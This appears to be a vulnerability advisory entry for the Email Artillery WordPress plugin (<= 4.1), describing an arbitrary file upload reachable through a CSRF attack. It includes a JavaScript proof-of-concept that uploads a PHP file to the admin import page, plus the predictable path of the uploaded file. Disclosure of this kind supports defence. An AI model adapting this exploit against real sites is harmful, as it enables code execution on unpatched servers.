WordPress Plugin Vulnerabilities

Email Artillery <= 4.1 - Arbitrary File Upload

Description

The plugin does not properly check the uploaded files from the Import Emails feature, allowing arbitrary files to be uploaded. Furthermore, the plugin is also lacking any CSRF check, allowing such issue to be exploited via a CSRF attack as well. However, due to the presence of a .htaccess, denying access to everything in the folder the file is uploaded to, the malicious uploaded file will only be accessible on Web Servers such as Nginx/IIS

Proof of Concept

Login in as admin and Import a PHP file via the Import Emails feature (/wp-admin/admin.php?page=etmbu-import-email-manual)

Via CSRF:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=etmbu-import-email-manual", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------362587018939873212313468279541");
        xhr.withCredentials = true;
        var body = "-----------------------------362587018939873212313468279541\r\n" + 
          "Content-Disposition: form-data; name=\"txt_file\"; filename=\"phpinfo.php\"\r\n" + 
          "Content-Type: text/php\r\n" + 
          "\r\n" + 
          "\x3c?php phpinfo() ?\x3e\n" + 
          "\r\n" + 
          "-----------------------------362587018939873212313468279541--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

https://example.com/wp-content/uploads/ea_uploads/28-06-2021-11-40-phpinfo.php (date is in the format date('d-m-Y-H-i-'))

Affects Plugins

No known fix

References

Miscellaneous

Original Researcher
Jin Huang
Submitter
Jin Huang
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-08-16 (about 2 years ago)
Added
2021-08-16 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other